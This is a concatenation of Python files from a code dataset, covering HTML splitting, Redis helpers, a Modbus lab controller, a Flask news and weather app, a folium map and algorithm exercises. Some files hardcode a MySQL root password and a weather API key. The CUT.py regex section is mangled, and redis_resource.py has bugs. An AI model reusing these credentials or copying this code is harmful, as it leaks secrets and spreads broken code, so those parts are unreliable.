guitar_list.cost, vintage))\n","sub_path":"prac_06/guitars.py","file_name":"guitars.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"450937028","text":"#-------------------------------------------------------------------------------\n# Name: CUT 01 BETA 0.1\n# Purpose: html cut\n#\n# Author: lorenzo Macchiavelli\n#\n# Created: 30/04/2012\n# Copyright: (c) lorenzo 2012\n# Licence: http://www.opensource.org/licenses/mit-license.php\n# Copyright (c) <2012> \n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n#-------------------------------------------------------------------------------\n#!/usr/bin/env python\n\ndef main():\n pass\n\nif __name__ == '__main__':\n main()\n\nimport os\nimport re\nimport os.path, time\n\n\nfile = \"\"\nOldFile = \"\"\nCurFile = \"\"\n\ntimer = 1\n\ndef timing():\n\n global OldFile, CurFile\n\n while timer:\n time.sleep(1)\n if OldFile != CurFile:\n creaSkin()\n else:\n CurFile = time.ctime(os.path.getmtime(file))\n\nPT = \"\"\nPD = \"\"\n\ndef creaSkin():\n \n global style, PT, PD, file, OldFile, CurFile\n\n def makedirsControlla(dir):\n if not os.path.exists(dir):\n os.makedirs(dir)\n\n if PT != \"\":\n template = PT\n path = PD\n\n else:\n template = input('inserisci il path del template: ')\n path = input('Inserisci il path della skin senza barra finale: ')+\"/\"\n PT = template\n PD = path\n\n print('Sto processando il file!... \\n ..attendi qualche istante!..')\n\n apri = open(template)\n textfile = apri.read()\n apri.close()\n result = re.sub(r\"\\s+\", \" \", textfile)\n resultB = re.split(\"(?:\\s*',\"\",path_extract)\n makedirsControlla(str(path_extract))\n split_extract = re.sub(r\":?\\s\", \"\", object)\n split_extract = re.sub(r\":?\", split_extract)\n dividi_split.pop()\n\n for e, object2 in enumerate(dividi_split):\n name_extract = re.sub(r'.*', \"\", name_extract)\n name_extract = re.sub(r'>\\s*', \"\", name_extract)\n name_extract = re.sub(r'\\s*',\"\", name_extract)\n f = open(str(path_extract)+\"/\"+str(name_extract), 'w')\n code_extract = re.sub(r'\\s*\\s*|\\s*>\\s*\\s*', \"\", object2)\n code_extract = re.sub(r\"((:?>)\\s?(<))\", \">\\n<\", code_extract)#Per Ottimizzare Il Codice togniere \"\"\\n\"\"\n f.write(code_extract)\n f.close()\n\n print('Template scritto con successo! ')\n\n file = template\n OldFile = time.ctime(os.path.getmtime(file))\n CurFile = time.ctime(os.path.getmtime(file))\n\n timing()\n ","sub_path":"CUT.py","file_name":"CUT.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"430439961","text":"#!/usr/bin/python\n\nimport os\nimport re\nimport sys\nfrom pprint import pprint\n\ndef dir_contains(d,search_string):\n # print('dir_contains({}, {})'.format(d,search_string))\n try:\n contents = os.listdir(d)\n except OSError as e:\n print(e, file=sys.stderr)\n return False\n for f in contents:\n if search_string in f:\n return True\n return False\n\ndef find_in_env(f, type='contains', custom_match=None):\n for a in find_in_env_gen(f, type, custom_match):\n print(a, file=sys.stderr)\n yield(a)\n\ndef find_in_env_gen(search_string, type='contains', custom_match=None):\n for var in sorted(os.environ):\n yield from find_in_value(var, os.environ[var], search_string, type, custom_match)\n\ndef get_matches_from_dir(var, d, matcher, search_string):\n if '/' in search_string:\n words = search_string.split('/')\n d = os.path.join(d, *words[:-1])\n search_string = words[-1]\n print(f\"\\033[32mSearching in directory {d} from variable {var}\\033[0m\", file=sys.stderr)\n if not os.path.isdir(d):\n return\n for file in os.listdir(d):\n if matcher(search_string, file):\n yield {\n 'file': file,\n 'location': d,\n 'variable': var\n }\nso_regex = re.compile(r'\\.so(.[0-9]+)*')\nmatcher_map = {\n 'contains': lambda n,h: n in h,\n 'exact': lambda n,h: n == h,\n 'endswith': lambda n,h: h.endswith(n),\n 'so_with_numbers': lambda n,h: so_regex.search(h) is not None\n}\n\ndef find_in_value(var, value, search_string, type='endswith', custom_match=None):\n print(f\"\\033[1;35mSearching in directories from variable {var}\\033[0m\", file=sys.stderr)\n match = custom_match if custom_match else matcher_map[type]\n if os.path.isdir(value):\n yield from get_matches_from_dir(var, value, match, search_string)\n else:\n if ':' in value:\n dirs = value.split(':')\n elif ' ' in value:\n dirs = value.split(' ')\n else:\n dirs = []\n for d in filter(lambda d: os.path.isdir(d), dirs):\n yield from get_matches_from_dir(var, d, match, search_string)\n\ndef find_in_env_command(args):\n needle = args.needle\n match_type = 'contains'\n if args.exact:\n match_type = 'exact'\n pprint(list(find_in_env(needle, type=match_type)))\n\nif __name__ == '__main__':\n import sys\n from pprint import pprint\n needle = sys.argv[1]\n pprint(find_in_env(needle))\n\n","sub_path":"libexec/env-tools/env_find.py","file_name":"env_find.py","file_ext":"py","file_size_in_byte":2490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"404571909","text":"import redis.client\nimport redis_client as tbot_datastore\n\nfrom mr import MR\nimport json\n\n'''\nGet Information relating to MRs\n'''\n\n# Returns a list of MR as MR objects\n# This returns all MRs, regardless if they are in the working set.\ndef get_all_mrs(redis_db):\n mr_name = 'mr_alloc'\n all_mrs = redis_db.hgetall(mr_name)\n mr_list = list(all_mrs.keys())\n return mr_str_to_obj(redis_db, mr_list)\n\n'''\nUtilities\n'''\n\n# Transform MRs from string representation (returned by Redis)\n# to MR objects\ndef mr_str_to_obj(redis_db, mr_list):\n mr_object_list = []\n for mr in mr_list:\n service_name,resource = mr.decode(\"utf-8\").split(',')\n deployments = tbot_datastore.read_service_locations(redis_db, service_name)\n decoded_deployment = []\n for vm_ip,container_id in deployments:\n decoded_deployment.append((vm_ip, container_id))\n mr_object_list.append(MR(service_name, resource, decoded_deployment))\n return mr_object_list\n\n'''\nThis is specifically for the storing and accessing of the redis data \nrelating to the current resource allocation of a MR\n'''\n\ndef generate_mr_key(mr_service, mr_resource):\n return '{},{}'.format(mr_service, mr_resource)\n\ndef write_mr_alloc(redis_db, mr, new_allocation, mr_name = 'mr_alloc'):\n key = generate_mr_key(mr.service_name, mr.resource)\n redis_db.hset(mr_name, key, new_allocation)\n\ndef read_mr_alloc(redis_db, mr, mr_name = 'mr_alloc'):\n key = generate_mr_key(mr.service_name, mr.resource)\n return float(redis_db.hget(mr_name, key))\n\n# Returns a list of MR objects with their current allocations\n# This returns all MRs, regardless of whether they are in the working set\ndef read_all_mr_alloc(redis_db):\n mr_name = 'mr_alloc'\n mr_to_score = redis_db.hgetall(mr_name)\n for mr in mr_to_score:\n mr_to_score[mr] = float(mr_to_score[mr])\n\n mr_allocation_list = {}\n for mr in mr_to_score:\n service_name,resource = mr.decode().split(',')\n deployments = tbot_datastore.read_service_locations(redis_db, service_name)\n mr_object = MR(service_name, resource, deployments)\n mr_allocation_list[mr_object] = mr_to_score[mr]\n \n return mr_allocation_list\n\n'''\nGeneration information about the working set of the MR\nWorking Set is defined as the set of MRs that are being considered by Throttlebot\n'''\n\ndef get_working_set_key(redis_db, iteration):\n return 'working_set_{}'.format(iteration)\n\n# Writes a list of MRs to the working set\ndef write_mr_working_set(redis_db, mr_to_add, iteration):\n list_name = get_working_set_key(redis_db, iteration)\n print(mr_to_add)\n for mr in mr_to_add:\n print(mr.to_string())\n list_to_add = json.dumps(mr_to_add)\n redis_db.set(list_name, list_to_add)\n\n# Reads all the MRs in the working set\ndef read_mr_working_set(redis_db, iteration):\n list_name = get_working_set_key(redis_db, iteration)\n # mr_str_list = redis_db.lrange(list_name, 0, -1)\n list_to_load = json.loads(redis.db.get(list_name))\n str_list = [] \n for val in list_to_load:\n str_list.append(val.decode(\"utf-8\"))\n return mr_str_to_obj(redis_db, str_list)\n\n'''\nMachine Consumption index maps a particular VM (identified by IP address) to \nit's specific resource allocation: both in terms of the total maximal \ncapacity to the full amount\n'''\n\n# machine_cap is a dict that stores the machine's maximum capacity\n# machine_util is a tuple that stores the machine's current usage level\ndef write_machine_consumption(redis_db, machine_ip, machine_util):\n name = '{}machine_consumption'.format(machine_ip)\n for key in machine_util:\n redis_db.hset(name, key, machine_util[key])\n\ndef read_machine_consumption(redis_db, machine_ip):\n machine_util = {}\n name = '{}machine_consumption'.format(machine_ip)\n machine_consumption = redis_db.hgetall(name)\n machine_consumption = { key.decode(\"utf-8\"): val.decode(\"utf-8\") for key, val in machine_consumption.items() }\n\n for resource in machine_consumption:\n machine_consumption[resource] = float(machine_consumption[resource])\n return machine_consumption\n\ndef write_machine_capacity(redis_db, machine_ip, machine_cap):\n name = '{}machine_capacity'.format(machine_ip)\n for key in machine_cap:\n redis_db.hset(name, key, machine_cap[key])\n\ndef read_machine_capacity(redis_db, machine_ip):\n machine_cap = {}\n name = '{}machine_capacity'.format(machine_ip)\n \n machine_capacity = redis_db.hgetall(name)\n machine_capacity = { key.decode(\"utf-8\"): val.decode(\"utf-8\") for key, val in machine_capacity.items() }\n for resource in machine_capacity:\n machine_capacity[resource] = float(machine_capacity[resource])\n return machine_capacity\n\ndef write_machine_floor(redis_db, machine_ip, machine_floor):\n name = '{}machine_floor'.format(machine_ip)\n for key in machine_floor:\n redis_db.hset(name, key, machine_floor[key])\n\ndef read_machine_floor(redis_db, machine_ip):\n machine_floor = {}\n name = '{}machine_floor'.format(machine_ip)\n\n machine_floor = redis_db.hgetall(name)\n machine_floor = { key.decode(\"utf-8\"): val.decode(\"utf-8\") for key, val in machine_floor.items() }\n for resource in machine_capacity:\n machine_floor[resource] = float(machine_floor[resource])\n return machine_floor\n\n\n \n\n","sub_path":"src-python3/redis_resource.py","file_name":"redis_resource.py","file_ext":"py","file_size_in_byte":5332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"476223048","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 31 18:20:43 2019\n\n@author: energise\n\"\"\"\nimport numpy as np\nfrom pymodbus.client.sync import ModbusTcpClient as ModbusClient\n\nIP = '131.243.41.14'\nPORT = 504\nid = 3\n\n#IP = '131.243.41.14'\n#PORT = 502\n#id = 1\n\n# Connect to client\nclient = ModbusClient(IP, port=PORT)\n'''\ntry:\n client.connect()\n client.write_registers(int(1), int(50000), unit=id)\n print('sent')\n\nexcept Exception as e:\n print(e)\n\nfinally:\n client.close()\n'''\n\n\n#P,Q commands in W and VAR (not kilo)\n\n#c = 500/3.3/1000\n\n#P1, P2, P3 = 1, 3, 5\n#Q1, Q2, Q3 = 2, 4, 6\n\n#RESET REGISTERS BACK TO ZERO TO RESTART OR END CIL TESTING\n # scaling ratio\nP1, P2, P3 = 0,0,0\nQ1, Q2, Q3 = 0,0,0\n# P1, P2, P3 = 16666, 16666, 16666 #VA command corresponding to .1 PU for 13bal (with Sratio division included)\n# Q1, Q2, Q3 = 16666, 16666, 16666\n\n\n# set signs of commands through sign_vec\n# P,Q 1 is positive, 0 is negative\nsign_vec = [0,0,\n 0,0,\n 0,0]\nsign_base = 2**5 * sign_vec[0] + 2**4 * sign_vec[1] + 2**3 * sign_vec[2] + 2**2 * sign_vec[3] + 2**1 * sign_vec[4] + 2**0 * sign_vec[5]\n# sign_list = (np.array(sign_vec)*np.array(sign_base)).tolist()\n\n#mtx = [0]*6\nmtx = [P1,Q1,P2,Q2,P3,Q3,sign_base]\nmtx_register = np.arange(1,8).tolist()\n\n\ntry:\n client.connect()\n # write switch positions for config\n for i in range(len(mtx)):\n client.write_registers(int(mtx_register[i]), mtx[i], unit=id)\n print('sent')\n\n #client.write_registers(mtx_register, mtx, unit=id)\n #print('sent')\n\n\nexcept Exception as e:\n print(e)\n\nfinally:\n client.close()\n","sub_path":"flexlab/CIL_debug.py","file_name":"CIL_debug.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"83234843","text":"import folium\nimport os\nimport json\nimport mysql.connector\nfrom mysql.connector import Error\n\n##This script creates visualization for the Indian Restaurants\ntry:\n\tconnection = mysql.connector.connect(host = 'localhost',\n\t\t\t\t\t\t\t\t\t\t\tdatabase = 'zeus',\n\t\t\t\t\t\t\t\t\t\t\tuser = 'root',\n\t\t\t\t\t\t\t\t\t\t\tpassword = 'Parrot1234',\n\t\t\t\t\t\t\t\t\t\t\tauth_plugin='mysql_native_password')\n\n\tif connection.is_connected():\n\t\tprint(\"Yay! connected\")\nexcept Error as e:\n\tprint(\"Error when connecting to MySQL\", e)\n\texit()\n\ncursor = connection.cursor()\n\nsql = \"select * from indian_restaurant_staged_data\"\ncursor.execute(sql)\n\nrestaurant_result = cursor.fetchall()\n\n#create map object\n\t\nm = folium.Map(location=[37.0902,-95.7129], zoom_start=4.5)\n\ncategory_color_code = [\n[\"mexican\", \"green\"],\n[\"italian\", \"blue\"],\n[\"chinese\", \"red\"],\n[\"japanese\", \"purple\"],\n[\"mediterranean\", \"orange\"],\n[\"indian\",\"darkred\"],\n[\"thai\", \"lightred\"],\n[\"middle eastern\", \"beige\"],\n[\"vietnamese\",\"darkblue\"],\n[\"greek\", \"darkgreen\"]]\n\nfor row in restaurant_result:\n\tprint(row)\n\tcategory = row[2]\n\trestaurant_name = row[3]\n\tstreet_address = row[4]\n\tcity = row[5]\n\tstate = row[6]\n\tzipcode = row[7]\n\trating = float(row[8])\n\tlatittude = row[9]\n\tlongitude = row[10]\n\tprint(category)\n\tprint(rating)\n\n\tif category == \"mexican\":\n\t\tprint(\"mexicna found\")\n\n\t#Global tooltip\n\ttooltip = f\"{category}\\n\"\n\ttooltip += f\"{restaurant_name}\\n\"\n\ttooltip += f\"{rating}\\n\"\n\ttooltip += f\"{street_address}\\n\"\n\ttooltip += f\"{city}\\n\"\n\ttooltip += f\"{state}\\n\"\n\ttooltip += f\"{zipcode}\\n\"\n\t\n\t\n\tfor category_list in category_color_code:\n\t\tif category_list[0] == category:\n\t\t\tcolor = category_list[1]\n\t\t\tbreak\n\t\n\tif rating >= 4.0:\n\t\ticon = \"thumbs-up\"\n\telif rating < 4.0 and rating > 2.99:\n\t\ticon = \"minus-sign\"\n\telse:\n\t\ticon = \"thumbs-down\"\n\n\t#Markers\n\tfolium.Marker([latittude,longitude],\n\t\tpopup=f'{tooltip}',\n\t\ttooltip=tooltip, \n\t\ticon=folium.Icon(color=f'{color}', icon=f'{icon}')).add_to(m)\n\n#Generate map\nm.save('indian-map.html')\n\t\ncursor.close()","sub_path":"Folium/indian_map_visualizations.py","file_name":"indian_map_visualizations.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"424952890","text":"# Save split data of train-test\r\nimport os\r\nimport numpy as np\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n\r\n# Read the input data\r\ndirname = os.path.dirname(__file__)\r\ninput_data = dirname + '/total_data.txt'\r\nip_file = np.loadtxt(input_data)\r\ndata = ip_file\r\n# Randomly divide 70% for train and 30% for test\r\ntrain_data, test_data = train_test_split(ip_file, test_size = 0.3)\r\n# train_data = data[0:1254, :]\r\n# test_data = data[1254:, :]\r\n\r\nwith open('train.txt', 'w') as f:\r\n for item in np.array(train_data):\r\n for value in item:\r\n f.write(\"%s \" % value)\r\n f.write(\"\\n\")\r\n\r\nwith open('test.txt', 'w') as f:\r\n for item in np.array(test_data):\r\n for value in item:\r\n f.write(\"%s \" % value)\r\n f.write(\"\\n\")","sub_path":"Assign-1_BackPropagation/Backprop_single_Label/split_Data.py","file_name":"split_Data.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"90411795","text":"import feedparser\nimport json\nimport urllib\nimport urllib.parse\nimport urllib.request\n\nimport datetime\n\n\nfrom flask import Flask, request,make_response\nfrom flask import render_template\n\napp = Flask(__name__)\n\nRSS = {\"bbc\": \"http://feeds.bbci.co.uk/news/rss.xml\",\n \"iol\": \"http://rss.iol.io/iol/news\", \"fox\": \"http://feeds.foxnews.com/foxnews/latest\",\n \"cnn\": \"http://rss.cnn.com/rss/edition.rss\"}\n\nDEFAULTS={\"publication\":\"bbc\",\n \"city\":\"Nairobi,Kenya\"}\n\n\n\ndef get_value_with_fallback(key):\n if request.args.get(key):\n return request.args.get(key)\n if request.cookies.get(key):\n return request.cookies.get(key)\n\n return DEFAULTS[key]\n\n\n@app.route(\"/\")\n@app.route(\"/\")\ndef home():\n publication = get_value_with_fallback('publication')\n if not publication:\n publication=DEFAULTS['publication']\n\n if not publication:\n publication=request.cookies.get(\"publication\")\n if not publication:\n publication=DEFAULTS[\"publication\"]\n\n articles=get_news(publication)\n city = get_value_with_fallback('city')\n if not city:\n city=DEFAULTS['city']\n\n weather=get_weather(city)\n response=make_response(render_template(\"home.html\", articles=articles,weather=weather))\n\n expires=datetime.datetime.now() + datetime.timedelta(days=365)\n response.set_cookie(\"publication\",publication,expires=expires)\n response.set_cookie(\"city\",city,expires=expires)\n\n request.cookies.get(\"publication\")\n\n return response\n\n\ndef get_news(query):\n if not query or query.lower() not in RSS:\n publication =DEFAULTS[\"publication\"]\n else:\n publication=query.lower()\n\n feed=feedparser.parse(RSS[publication])\n\n return feed[\"entries\"]\n\n\n\ndef get_weather(query):\n api_url=\"http://api.openweathermap.org/data/2.5/weather?q={}&units=metric&appid=c60ffec5d8c174e8c1aa41b9bbd746d1\"\n query=urllib.parse.quote(query)\n url=api_url.format(query)\n data=urllib.request.urlopen(url).read().decode('utf-8')\n parsed=json.loads(data)\n\n # with open(url, encoding='utf-8') as f:\n # parsed = [json.loads(data) for data in f]\n weather=None\n\n if parsed.get(\"weather\"):\n weather={\"description\":parsed[\"weather\"][0][\"description\"],\n \"temperature\":parsed[\"main\"][\"temp\"],\n \"city\":parsed[\"name\"]}\n\n return weather\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=5000)","sub_path":"headlines.py","file_name":"headlines.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"132874149","text":"# 数组中的逆序对\n# 题目描述\n# 在数组中的两个数字,如果前面一个数字大于后面的数字,则这两个数字组成一个逆序对。\n# 输入一个数组,求出这个数组中的逆序对的总数P。并将P对1000000007取模的结果输出。 即输出P%1000000007\n\ndef inversePairs(data):\n # 声明全局变量 并初始化0\n global cnt \n cnt = 0\n mergeSort(data)\n return cnt % 1000000007\n\n# 归并排序,在排序过程中统计逆序对\n# 时间复杂度:o(nlogn)\n# 空间复杂度:o(n)\ndef mergeSort(arr):\n # 申明全局变量 作用域涵盖所有递归\n global cnt\n # 递归的终点条件 只有一个元素 start==end\n if len(arr) <= 1:\n return arr\n # 归:递归分治排序\n mid = len(arr) // 2\n left = mergeSort(arr[:mid])\n right = mergeSort(arr[mid:])\n # 并:合并排序好的两部分\n pL, pR = 0, 0\n res = []\n while pL < len(left) and pR < len(right):\n if left[pL] < right[pR]:\n res.append(left[pL])\n pL += 1\n else:\n # 存在逆序对\n res.append(right[pR])\n pR += 1\n cnt += len(left)- pL\n res += right[pR:]\n res += left[pL:]\n return res\n\nif __name__ == \"__main__\":\n arr = [7,8,6,4]\n print(inversePairs(arr))","sub_path":"CodingInterviews/51.数组中的逆序对.py","file_name":"51.数组中的逆序对.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"186381748","text":"#!/usr/bin/env python\n\nimport math\n\n\"\"\"\nThis script calculates the charge iterations based on the numeric model for TWO BATTERIES used in Section \"Flight Time Enhancement\"\n\"\"\"\n\n# Parameters\nSOC_MAX = 2400\nRATE_C_DEFAULT = 2.5\nRATE_C_PV_CURVED_DRESDEN = 2.2\nRATE_D_SET1 = 2.84\nRATE_D_SET2 = 6.32\nRATE_D_SET3 = 2.2\nRATE_D_SET4 = 4.75\n\n\ndef t_D(i, SOC_max, SOC_i, Rate_D):\n return ( 1 / Rate_D) * 60 if (i == 0) else (SOC_i / (SOC_max * Rate_D)) * 60\n\ndef t_C(Rate_C):\n return (1 / Rate_C) * 60\n \ndef C_FF(i, t_D, t_C):\n if (i == 0):\n return 1\n else:\n t_div = (t_D / t_C)\n if t_div >= 1:\n return 1\n else:\n return t_div\n\ndef SOC(i, c_ff, SOC_max):\n return SOC_max if (i == 0) else c_ff * SOC_max\n\n\n\n \n\n# A better implementation would probably be to dynamically calculate the data on the array i.e.\n# calculate current step based on data from step before..\ndef calc_TFT(iterations, SOC_max, Rate_D, Rate_C):\n \"\"\"\n Computes total flight time in min and returns all charge iterations for two batteries with given battery capacity at discharge rate and charge rate.\n \"\"\"\n # Charge time to reach SOC_max stays constant\n t_C_const = t_C(Rate_C)\n \n # Arrays of format: [iteration, t_D_i, t_C_i, SOC_i, C_FF_i, t_D_total]\n iteration_steps = []\n \n for i in range(0, iterations):\n\n if i == 0:\n t_D_0 = ( 1 / Rate_D ) * 60\n step = [ -1,\n t_D_0,\n t_C_const,\n SOC_max,\n C_FF(0, 0, 0),\n t_D_0\n ]\n iteration_steps.append(step)\n continue\n \n i2nd = i - 1\n if i == 1:\n t_D_0 = iteration_steps[i-1][1]\n step = [ i2nd,\n t_D_0,\n t_C_const,\n SOC_max,\n C_FF(0, 0, 0),\n iteration_steps[i-1][5] + t_D_0 ]\n iteration_steps.append(step)\n continue\n \n # Order!\n c_ff = C_FF(i2nd, iteration_steps[i-1][1], t_C_const)\n soc = SOC(i2nd, c_ff, SOC_max)\n\n t_D_i = t_D(i2nd, SOC_max, soc, Rate_D)\n t_D_total = iteration_steps[i-1][5] + t_D_i\n cur_step = [ i2nd,\n t_D_i, \n t_C_const, \n soc, \n c_ff,\n t_D_total ]\n iteration_steps.append(cur_step)\n\n return iteration_steps\n\n \n \ndef print_latex_table(data):\n for d in data:\n if d[0] < 0:\n print(\"-- & D & F & %f & %f & %f & %f & %f \\\\\" % (d[1],d[2],d[3],d[4],d[5]) )\n else:\n if d[0] % 2 == 0:\n print(\"%d & C & D & %f & %f & %f & %f & %f \\\\\" % (d[0],d[1],d[2],d[3],d[4],d[5]) )\n else:\n print(\"%d & D & C & %f & %f & %f & %f & %f \\\\\" % (d[0],d[1],d[2],d[3],d[4],d[5]) )\n\ndef print_plot_data_TFT(data):\n s = \"\"\n for d in data:\n s += \"(\" + str(d[0]+1) + \",\" + str(d[5]) + \")\"\n print(s)\n \ndef main():\n # FTE for Settings 1, 2, 3, 4 with default charge rate of 2,5C\n print(\"Setting 1 -- Default:\")\n default_set1 = calc_TFT(25, SOC_MAX, RATE_D_SET1, RATE_C_DEFAULT)\n print_latex_table(default_set1)\n print_plot_data_TFT(default_set1)\n print()\n \n print(\"Setting 2 -- Default:\") \n default_set2 = calc_TFT(25, SOC_MAX, RATE_D_SET2, RATE_C_DEFAULT)\n print_latex_table(default_set2)\n print_plot_data_TFT(default_set2)\n print()\n \n print(\"Setting 3 -- Default:\")\n default_set3 = calc_TFT(25, SOC_MAX, RATE_D_SET3, RATE_C_DEFAULT)\n print_latex_table(default_set3)\n print_plot_data_TFT(default_set3)\n print()\n \n print(\"Setting 4 -- Default:\")\n default_set4 = calc_TFT(25, SOC_MAX, RATE_D_SET4, RATE_C_DEFAULT)\n print_latex_table(default_set4)\n print_plot_data_TFT(default_set4)\n print()\n \n # FTE for Settings 1, 2, 3, 4 with default charge rate of 2,5C\n print(\"Setting 1 -- PV curved:\")\n pv_curved_set1 = calc_TFT(25, SOC_MAX, RATE_D_SET1, RATE_C_PV_CURVED_DRESDEN)\n print_latex_table(pv_curved_set1)\n print_plot_data_TFT(pv_curved_set1)\n print()\n \n print(\"Setting 2 -- PV curved:\")\n pv_curved_set2 = calc_TFT(25, SOC_MAX, RATE_D_SET2, RATE_C_PV_CURVED_DRESDEN)\n print_latex_table(pv_curved_set2)\n print_plot_data_TFT(pv_curved_set2)\n print()\n \n print(\"Setting 3 -- PV curved:\")\n pv_curved_set3 = calc_TFT(25, SOC_MAX, RATE_D_SET3, RATE_C_PV_CURVED_DRESDEN)\n print_latex_table(pv_curved_set3)\n print_plot_data_TFT(pv_curved_set3)\n print()\n \n print(\"Setting 4 -- PV curved:\")\n pv_curved_set4 = calc_TFT(25, SOC_MAX, RATE_D_SET4, RATE_C_PV_CURVED_DRESDEN)\n print_latex_table(pv_curved_set4)\n print_plot_data_TFT(pv_curved_set4)\n print()\n\nif __name__ == \"__main__\":\n main()","sub_path":"python_scripts/FTE.py","file_name":"FTE.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"165926289","text":"from collections import Counter\nclass Solution(object):\n def commonChars(self, A):\n \"\"\"\n :type A: List[str]\n :rtype: List[str]\n \"\"\"\n res = Counter(A[0])\n for i in A:\n res &= Counter(i)\n return list(res.elements())\n\na = Solution()\nprint(a.commonChars([\"bella\",\"label\",\"roller\"]))\n\n","sub_path":"verizon/leetcode1002.py","file_name":"leetcode1002.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"69657485","text":"from KratosMultiphysics import *\nimport KratosMultiphysics\nfrom numpy import *\nimport itertools\n\ndef Factory(settings, Model):\n if( not isinstance(settings,KratosMultiphysics.Parameters) ):\n raise Exception(\"expected input shall be a Parameters object, encapsulating a json string\")\n return ComputeLiftProcess(Model, settings[\"Parameters\"])\n\n##all the processes python processes should be derived from \"python_process\"\nclass ComputeLiftProcess(KratosMultiphysics.Process):\n def __init__(self, Model, settings ):\n KratosMultiphysics.Process.__init__(self)\n\n default_parameters = KratosMultiphysics.Parameters(\"\"\"\n {\n \"model_part_name\":\"PLEASE_CHOOSE_MODEL_PART_NAME\",\n \"upper_surface_model_part_name\" : \"please specify the model part that contains the upper surface nodes\",\n \"lower_surface_model_part_name\" : \"please specify the model part that contains the lower surface nodes\",\n \"mesh_id\": 0,\n \"velocity_infinity\": [1.0,0.0,0],\n \"reference_area\": 1\n } \"\"\")\n\n settings.ValidateAndAssignDefaults(default_parameters)\n\n self.upper_surface_model_part = Model[settings[\"upper_surface_model_part_name\"].GetString()]\n self.lower_surface_model_part = Model[settings[\"lower_surface_model_part_name\"].GetString()]\n self.velocity_infinity = [0,0,0]\n self.velocity_infinity[0] = settings[\"velocity_infinity\"][0].GetDouble()\n self.velocity_infinity[1] = settings[\"velocity_infinity\"][1].GetDouble()\n self.velocity_infinity[2] = settings[\"velocity_infinity\"][2].GetDouble()\n self.reference_area = settings[\"reference_area\"].GetDouble()\n\n def ExecuteFinalize(self):\n print('COMPUTE LIFT')\n\n rx = 0.0\n ry = 0.0\n rz = 0.0\n\n for cond in itertools.chain(self.upper_surface_model_part.Conditions, self.lower_surface_model_part.Conditions):\n n = cond.GetValue(NORMAL)\n cp = cond.GetValue(PRESSURE)\n\n rx += n[0]*cp\n ry += n[1]*cp\n rz += n[2]*cp\n\n RZ = rz/self.reference_area\n RX = rx/self.reference_area\n RY = ry/self.reference_area\n\n Cl = RY\n Cd = RX\n\n print('RZ = ', RZ)\n\n print('Cl = ', Cl)\n print('Cd = ', Cd)\n print('Mach = ', self.velocity_infinity[0]/340)\n","sub_path":"applications/CompressiblePotentialFlowApplication/python_scripts/compute_lift_process.py","file_name":"compute_lift_process.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"364218212","text":"\"\"\"\nWrite a Python program which allows a user to play \"Sliding Puzzle\" which contains a 4x4 board\nof numbered tiles from 1-15. One of the cells is empty (denoted by a zero)\nand does not contain a tile. The initial position is input from the keyboard, for example:\n\n\n5 3 13 7 14 10 0 11 1 4 6 8 12 9 2 15\n\n \n\n... which denotes the following initial position:\n\n5\t3\t13\t7\n14\t10\t\t11\n1\t4\t6\t8\n12\t9\t2\t15\n\n\nIn each round of the game, the user inputs a single number in the range 0-15. \nIf the number is 0 the program quits, while all other numbers denote a slide for \nthe given cell into the empty space. For example, if a user inputs 10 in the \ninitial position above then that cell slides into the empty cell to the right. \nThe next position will thus become:\n\n5\t3\t13\t7\n14\t\t10\t11\n1\t4\t6\t8\n12\t9\t2\t15\n\nIf a number is input which cannot be translated into a sliding move (e.g. 5 in the initial position)\nthen the previous position shall be shown unchanged. The purpose of the game is to arrange the \nnumbers in ascending order, i.e. to achieve the following final position:\n\n1\t2\t3\t4\n5\t6\t7\t8\n9\t10\t11\t12\n13\t14\t15\n\nIn the example above, the first line is input (the initial positions) and lines \ncontaining a single number are also input. Everything else is output. Note that a \ntab character is between the numbers when the current position of the game is displayed.\n\n\"\"\"\nimport random\n\nDIM = 4\nEMPTYSLOT = 0\nQUIT = 0\n\ndef initialize_board():\n 